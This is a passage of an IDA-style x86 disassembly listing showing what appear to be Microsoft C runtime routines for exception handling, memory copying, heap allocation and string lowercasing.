[ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_429A40 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_423757 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4237AB proc near ; DATA XREF: sub_423757+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_429225 add esp, 20h pop ebp retn sub_4237AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4237D0 proc near ; CODE XREF: sub_429473+27p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_423886 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_423858 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call sub_42599D call dword ptr [eax+68h] pop ecx pop ecx and [ebp+var_34], 0 loc_423858: ; DATA XREF: sub_4237D0+3Co cmp [ebp+var_4], 0 jz short loc_423875 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_42387E ; --------------------------------------------------------------------------- loc_423875: ; CODE XREF: sub_4237D0+8Cj mov eax, [ebp+var_28] mov large fs:0, eax loc_42387E: ; CODE XREF: sub_4237D0+A3j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_4237D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423886 proc near ; DATA XREF: sub_4237D0+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_4238A9 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_4238F6 ; --------------------------------------------------------------------------- loc_4238A9: ; CODE XREF: sub_423886+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_429225 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_4238E7 push [ebp+arg_0] push [ebp+arg_4] call sub_4236D2 loc_4238E7: ; CODE XREF: sub_423886+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_4238F6: ; CODE XREF: sub_423886+21j pop edi pop esi pop ebx pop ebp retn sub_423886 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4238FB proc near ; CODE XREF: sub_4292C0+D2p ; sub_429473+45p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_423952 loc_423919: ; CODE XREF: sub_4238FB+52j cmp esi, 0FFFFFFFFh jnz short loc_423923 call sub_429AED loc_423923: ; CODE XREF: sub_4238FB+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_423938 cmp ecx, [eax+8] jle short loc_42393D loc_423938: ; CODE XREF: sub_4238FB+36j cmp esi, 0FFFFFFFFh jnz short loc_423949 loc_42393D: ; CODE XREF: sub_4238FB+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_423949: ; CODE XREF: sub_4238FB+40j cmp [ebp+arg_4], 0 jge short loc_423919 mov eax, [ebp+var_4] loc_423952: ; CODE XREF: sub_4238FB+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_423966 cmp esi, eax jbe short loc_42396B loc_423966: ; CODE XREF: sub_4238FB+65j call sub_429AED loc_42396B: ; CODE XREF: sub_4238FB+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_4238FB endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423978 proc near ; CODE XREF: sub_424B30+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_423990 push [ebp+arg_0] call sub_42EBF2 ; RtlUnwind loc_423990: ; DATA XREF: sub_423978+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423978 endp ; =============== S U B R O U T I N E ======================================= sub_423998 proc near ; DATA XREF: sub_4239BA+Ao ; sub_423A22+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4239B9 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4239B9: ; CODE XREF: sub_423998+10j retn sub_423998 endp ; =============== S U B R O U T I N E ======================================= sub_4239BA proc near ; CODE XREF: sub_424B30+67p ; sub_424B30+A7p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_423998 push large dword ptr fs:0 mov large fs:0, esp loc_4239D7: ; CODE XREF: sub_4239BA:loc_423A12j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_423A14 cmp esi, [esp+1Ch+arg_4] jz short loc_423A14 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_423A12 push 101h mov eax, [ebx+esi*4+8] call sub_423A4E call dword ptr [ebx+esi*4+8] loc_423A12: ; CODE XREF: sub_4239BA+44j jmp short loc_4239D7 ; --------------------------------------------------------------------------- loc_423A14: ; CODE XREF: sub_4239BA+2Aj ; sub_4239BA+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4239BA endp ; =============== S U B R O U T I N E ======================================= sub_423A22 proc near ; CODE XREF: sub_429776+3Fp xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_423998 jnz short locret_423A44 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_423A44 mov eax, 1 locret_423A44: ; CODE XREF: sub_423A22+10j ; sub_423A22+1Bj retn sub_423A22 endp ; =============== S U B R O U T I N E ======================================= sub_423A45 proc near ; CODE XREF: sub_429A40+1Ep ; sub_429A40+40p push ebx push ecx mov ebx, offset dword_4493E0 jmp short loc_423A58 sub_423A45 endp ; =============== S U B R O U T I N E ======================================= sub_423A4E proc near ; CODE XREF: sub_4239BA+4Fp ; sub_424B30+78p push ebx push ecx mov ebx, offset dword_4493E0 mov ecx, [ebp+8] loc_423A58: ; CODE XREF: sub_423A45+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_423A4E endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_423A68 proc near ; CODE XREF: sub_40D75A+5p ; sub_40D810+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_423A68 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A87 proc near ; CODE XREF: sub_40F0E1+54p ; sub_40F351+18p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_42F3F0 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_42F1F8 ; RaiseException pop edi pop esi leave retn 8 sub_423A87 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423AD0 proc near ; CODE XREF: sub_40DA0E+C8p ; sub_41FE93+28Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_423B01 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_423AFF jz short loc_423B01 dec ecx dec ecx loc_423AFF: ; CODE XREF: sub_423AD0+29j not ecx loc_423B01: ; CODE XREF: sub_423AD0+9j ; sub_423AD0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_423AD0 endp ; =============== S U B R O U T I N E ======================================= sub_423B08 proc near ; DATA XREF: .text:off_42F414o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_423BAB test [esp+4+arg_0], 1 jz short loc_423B1E push esi call sub_421C78 pop ecx loc_423B1E: ; CODE XREF: sub_423B08+Dj mov eax, esi pop esi retn 4 sub_423B08 endp ; =============== S U B R O U T I N E ======================================= sub_423B24 proc near ; CODE XREF: sub_40F1B0+1Fp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_42F414 push dword ptr [edi] call sub_422120 inc eax push eax call sub_423F55 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_423B53 push dword ptr [edi] push eax call sub_423260 pop ecx pop ecx loc_423B53: ; CODE XREF: sub_423B24+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_423B24 endp ; =============== S U B R O U T I N E ======================================= sub_423B61 proc near ; CODE XREF: sub_40F389+17p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_42F414 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_423B9E push dword ptr [edi+4] call sub_422120 inc eax push eax call sub_423F55 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_423BA4 push dword ptr [edi+4] push eax call sub_423260 pop ecx pop ecx jmp short loc_423BA4 ; --------------------------------------------------------------------------- loc_423B9E: ; CODE XREF: sub_423B61+16j mov eax, [edi+4] mov [esi+4], eax loc_423BA4: ; CODE XREF: sub_423B61+2Ej ; sub_423B61+3Bj mov eax, esi pop edi pop esi retn 4 sub_423B61 endp ; =============== S U B R O U T I N E ======================================= sub_423BAB proc near ; CODE XREF: sub_40F36E+16j ; sub_421CDD+2Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_42F414 jz short locret_423BC0 push dword ptr [ecx+4] call sub_421C78 pop ecx locret_423BC0: ; CODE XREF: sub_423BAB+Aj retn sub_423BAB endp ; =============== S U B R O U T I N E ======================================= sub_423BC1 proc near ; DATA XREF: .text:0042F418o mov eax, [ecx+4] test eax, eax jnz short locret_423BCD mov eax, offset aUnknownExcepti ; "Unknown exception" locret_423BCD: ; CODE XREF: sub_423BC1+5j retn sub_423BC1 endp ; =============== S U B R O U T I N E ======================================= sub_423BCE proc near ; CODE XREF: .text:00423BFAp push esi mov esi, ecx push 1Bh mov dword ptr [esi], offset off_42F434 call sub_428436 mov esi, [esi+4] pop ecx test esi, esi jz short loc_423BED push esi call sub_4230B3 pop ecx loc_423BED: ; CODE XREF: sub_423BCE+16j push 1Bh call sub_428497 pop ecx pop esi retn sub_423BCE endp ; --------------------------------------------------------------------------- loc_423BF7: ; DATA XREF: .text:off_42F434o push esi mov esi, ecx call sub_423BCE test byte ptr [esp+8], 1 jz short loc_423C0D push esi call sub_421C78 pop ecx loc_423C0D: ; CODE XREF: .text:00423C04j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423C20 proc near ; CODE XREF: sub_40F2DD+3Ap ; sub_42726C+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_423C40 cmp edi, eax jb loc_423DB8 loc_423C40: ; CODE XREF: sub_423C20+16j test edi, 3 jnz short loc_423C5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_423C7C rep movsd jmp off_423D68[edx*4] ; --------------------------------------------------------------------------- loc_423C5C: ; CODE XREF: sub_423C20+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_423C74 and eax, 3 add ecx, eax jmp dword ptr loc_423C7C+4[eax*4] ; --------------------------------------------------------------------------- loc_423C74: ; CODE XREF: sub_423C20+46j jmp dword ptr loc_423D78[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_423C7C: ; CODE XREF: sub_423C20+31j ; sub_423C20+8Ej ... jmp off_423CFC[ecx*4] ; --------------------------------------------------------------------------- db 2 dup(90h) db 3Ch, 42h, 0 dd offset loc_423CBC dd offset loc_423CE0 ; --------------------------------------------------------------------------- and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_423C7C rep movsd jmp off_423D68[edx*4] ; --------------------------------------------------------------------------- align 4 loc_423CBC: ; DATA XREF: sub_423C20+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_423C7C rep movsd jmp off_423D68[edx*4] ; --------------------------------------------------------------------------- align 10h loc_423CE0: ; DATA XREF: sub_423C20+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_423C7C rep movsd jmp off_423D68[edx*4] ; --------------------------------------------------------------------------- align 4 off_423CFC dd offset loc_423D5F ; DATA XREF: sub_423C20:loc_423C7Cr dd offset loc_423D4C dd offset loc_423D44 dd offset loc_423D3C dd offset loc_423D34 dd offset loc_423D2C dd offset loc_423D24 dd offset loc_423D1C ; --------------------------------------------------------------------------- loc_423D1C: ; CODE XREF: sub_423C20:loc_423C7Cj ; DATA XREF: sub_423C20+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_423D24: ; CODE XREF: sub_423C20:loc_423C7Cj ; DATA XREF: sub_423C20+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_423D2C: ; CODE XREF: sub_423C20:loc_423C7Cj ; DATA XREF: sub_423C20+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_423D34: ; CODE XREF: sub_423C20:loc_423C7Cj ; DATA XREF: sub_423C20+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_423D3C: ; CODE XREF: sub_423C20:loc_423C7Cj ; DATA XREF: sub_423C20+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_423D44: ; CODE XREF: sub_423C20:loc_423C7Cj ; DATA XREF: sub_423C20+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_423D4C: ; CODE XREF: sub_423C20:loc_423C7Cj ; DATA XREF: sub_423C20+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_423D5F: ; CODE XREF: sub_423C20:loc_423C7Cj ; DATA XREF: sub_423C20:off_423CFCo jmp off_423D68[edx*4] ; --------------------------------------------------------------------------- align 4 off_423D68 dd offset loc_423D78 ; DATA XREF: sub_423C20+35r ; sub_423C20+92r ... dd offset loc_423D80 dd offset loc_423D8C dd offset loc_423DA0 ; --------------------------------------------------------------------------- loc_423D78: ; CODE XREF: sub_423C20+35j ; sub_423C20+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_423D80: ; CODE XREF: sub_423C20+35j ; sub_423C20+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_423D8C: ; CODE XREF: sub_423C20+35j ; sub_423C20+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_423DA0: ; CODE XREF: sub_423C20+35j ; sub_423C20+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_423DB8: ; CODE XREF: sub_423C20+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_423DEC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_423DE0 std rep movsd cld jmp off_423F00[edx*4] ; --------------------------------------------------------------------------- align 10h loc_423DE0: ; CODE XREF: sub_423C20+1B1j ; sub_423C20+208j ... neg ecx jmp off_423EB0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_423DEC: ; CODE XREF: sub_423C20+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_423E04 and eax, 3 sub ecx, eax jmp dword ptr loc_423E04+4[eax*4] ; --------------------------------------------------------------------------- loc_423E04: ; CODE XREF: sub_423C20+1D6j ; DATA XREF: sub_423C20+1DDr jmp off_423F00[ecx*4] ; --------------------------------------------------------------------------- align 4 sbb [esi], bh inc edx add [eax], bh db 3Eh inc edx add [eax+3Eh], ah inc edx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_423DE0 std rep movsd cld jmp off_423F00[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_423DE0 std rep movsd cld jmp off_423F00[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_423DE0 std rep movsd cld jmp off_423F00[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_423EB4 dd offset loc_423EBC dd offset loc_423EC4 dd offset loc_423ECC dd offset loc_423ED4 dd offset loc_423EDC dd offset loc_423EE4 off_423EB0 dd offset loc_423EF7 ; DATA XREF: sub_423C20+1C2r ; --------------------------------------------------------------------------- loc_423EB4: ; DATA XREF: sub_423C20+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_423EBC: ; DATA XREF: sub_423C20+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_423EC4: ; DATA XREF: sub_423C20+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_423ECC: ; DATA XREF: sub_423C20+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_423ED4: ; DATA XREF: sub_423C20+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_423EDC: ; DATA XREF: sub_423C20+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_423EE4: ; DATA XREF: sub_423C20+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_423EF7: ; CODE XREF: sub_423C20+1C2j ; DATA XREF: sub_423C20:off_423EB0o jmp off_423F00[edx*4] ; --------------------------------------------------------------------------- align 10h off_423F00 dd offset loc_423F10 ; DATA XREF: sub_423C20+1B7r ; sub_423C20:loc_423E04r ... dd offset loc_423F18 dd offset loc_423F28 dd offset loc_423F3C ; --------------------------------------------------------------------------- loc_423F10: ; CODE XREF: sub_423C20+1B7j ; sub_423C20:loc_423E04j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_423F18: ; CODE XREF: sub_423C20+1B7j ; sub_423C20:loc_423E04j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_423F28: ; CODE XREF: sub_423C20+1B7j ; sub_423C20:loc_423E04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_423F3C: ; CODE XREF: sub_423C20+1B7j ; sub_423C20:loc_423E04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_423C20 endp ; =============== S U B R O U T I N E ======================================= sub_423F55 proc near ; CODE XREF: sub_40F467+4Fp ; sub_40F66B+34p ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_422F8B pop ecx pop ecx retn sub_423F55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423F63 proc near ; CODE XREF: sub_40F770+145p ; sub_41CDE4+5p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00424005 SIZE 0000007B BYTES ; FUNCTION CHUNK AT 0042408E SIZE 00000012 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42F438 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] mov [ebp+arg_4], esi mov [ebp+var_1C], esi cmp esi, 0FFFFFFE0h ja short loc_423FAC xor ebx, ebx cmp esi, ebx jnz short loc_423FA1 push 1 pop esi loc_423FA1: ; CODE XREF: sub_423F63+39j add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi jmp short loc_423FAE ; --------------------------------------------------------------------------- loc_423FAC: ; CODE XREF: sub_423F63+33j xor ebx, ebx loc_423FAE: ; CODE XREF: sub_423F63+47j ; sub_423F63+115j mov [ebp+var_20], ebx cmp esi, 0FFFFFFE0h ja loc_424062 mov eax, dword_6319C0 cmp eax, 3 jnz short loc_424005 mov edi, [ebp+var_1C] cmp edi, dword_6319B8 ja short loc_42404B push 9 call sub_428436 pop ecx mov [ebp+var_4], ebx push edi call sub_427595 pop ecx mov [ebp+var_20], eax or [ebp+var_4], 0FFFFFFFFh call sub_423FFC cmp [ebp+var_20], ebx jz short loc_424050 push [ebp+var_1C] jmp short loc_42403F sub_423F63 endp ; =============== S U B R O U T I N E ======================================= sub_423FF7 proc near ; DATA XREF: .text:0042F440o xor ebx, ebx mov esi, [ebp+0Ch] sub_423FF7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_423FFC proc near ; CODE XREF: sub_423F63+85p push 9 call sub_428497 pop ecx retn sub_423FFC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F63 loc_424005: ; CODE XREF: sub_423F63+5Fj cmp eax, 2 jnz short loc_42404B cmp esi, dword_44BA9C ja short loc_42404B push 9 call sub_428436 pop ecx mov [ebp+var_4], 1 mov eax, esi shr eax, 4 push eax call sub_428038 pop ecx mov [ebp+var_20], eax or [ebp+var_4], 0FFFFFFFFh call sub_424085 cmp [ebp+var_20], ebx jz short loc_424050 push esi loc_42403F: ; CODE XREF: sub_423F63+92j push ebx push [ebp+var_20] call sub_4221F0 add esp, 0Ch loc_42404B: ; CODE XREF: sub_423F63+6Aj ; sub_423F63+A5j ... cmp [ebp+var_20], ebx jnz short loc_42408E loc_424050: ; CODE XREF: sub_423F63+8Dj ; sub_423F63+D9j push esi push 8 push dword_6319BC call dword_42F1EC ; RtlAllocateHeap mov [ebp+var_20], eax loc_424062: ; CODE XREF: sub_423F63+51j cmp [ebp+var_20], ebx jnz short loc_42408E cmp dword_6313F8, ebx jz short loc_42408E push esi call sub_42700C pop ecx test eax, eax jnz loc_423FAE jmp short loc_424091 ; END OF FUNCTION CHUNK FOR sub_423F63 ; --------------------------------------------------------------------------- xor ebx, ebx mov esi, [ebp+0Ch] ; =============== S U B R O U T I N E ======================================= sub_424085 proc near ; CODE XREF: sub_423F63+D1p push 9 call sub_428497 pop ecx retn sub_424085 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F63 loc_42408E: ; CODE XREF: sub_423F63+EBj ; sub_423F63+102j ... mov eax, [ebp+var_20] loc_424091: ; CODE XREF: sub_423F63+11Bj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_423F63 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4240A0 proc near ; CODE XREF: sub_4105DF+3Bp ; sub_4105DF+45p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push esi xor esi, esi cmp dword_6314C8, esi push edi mov [ebp+var_8], esi jnz short loc_4240DE mov eax, [ebp+arg_0] mov edx, eax cmp byte ptr [eax], 0 jz loc_4241D0 loc_4240C2: ; CODE XREF: sub_4240A0+37j mov cl, [edx] cmp cl, 41h jl short loc_4240D3 cmp cl, 5Ah jg short loc_4240D3 add cl, 20h mov [edx], cl loc_4240D3: ; CODE XREF: sub_4240A0+27j ; sub_4240A0+2Cj inc edx cmp byte ptr [edx], 0 jnz short loc_4240C2 jmp loc_4241D0 ; --------------------------------------------------------------------------- loc_4240DE: ; CODE XREF: sub_4240A0+12j mov edi, offset dword_63198C push edi call dword_42F200 ; InterlockedIncrement cmp dword_631988, esi jz short loc_42410A push edi call dword_42F1FC ; InterlockedDecrement push 13h call sub_428436 pop ecx mov [ebp+var_4], 1 jmp short loc_42410D ; --------------------------------------------------------------------------- loc_42410A: ; CODE XREF: sub_4240A0+50j mov [ebp+var_4], esi loc_42410D: ; CODE XREF: sub_4240A0+68j mov eax, dword_6314C8 cmp eax, esi jnz short loc_424153 cmp [ebp+var_4], esi jz short loc_424125 push 13h call sub_428497 pop ecx jmp short loc_42412C ; --------------------------------------------------------------------------- loc_424125: ; CODE XREF: sub_4240A0+79j push edi call dword_42F1FC ; InterlockedDecrement loc_42412C: ; CODE XREF: sub_4240A0+83j mov eax, [ebp+arg_0] mov edx, eax cmp byte ptr [eax], 0 jz loc_4241D0 loc_42413A: ; CODE XREF: sub_4240A0+AFj mov cl, [edx] cmp cl, 41h jl short loc_42414B cmp cl, 5Ah jg short loc_42414B add cl, 20h mov [edx], cl loc_42414B: ; CODE XREF: sub_4240A0+9Fj ; sub_4240A0+A4j inc edx cmp byte ptr [edx], 0 jnz short loc_42413A jmp short loc_4241D0 ; --------------------------------------------------------------------------- loc_424153: ; CODE XREF: sub_4240A0+74j push ebx push 1 push esi push esi push esi push 0FFFFFFFFh push [ebp+arg_0] mov esi, 100h push esi push eax call sub_429BA7 mov ebx, eax add esp, 20h test ebx, ebx jz short loc_4241AC push ebx call sub_422F79 test eax, eax pop ecx mov 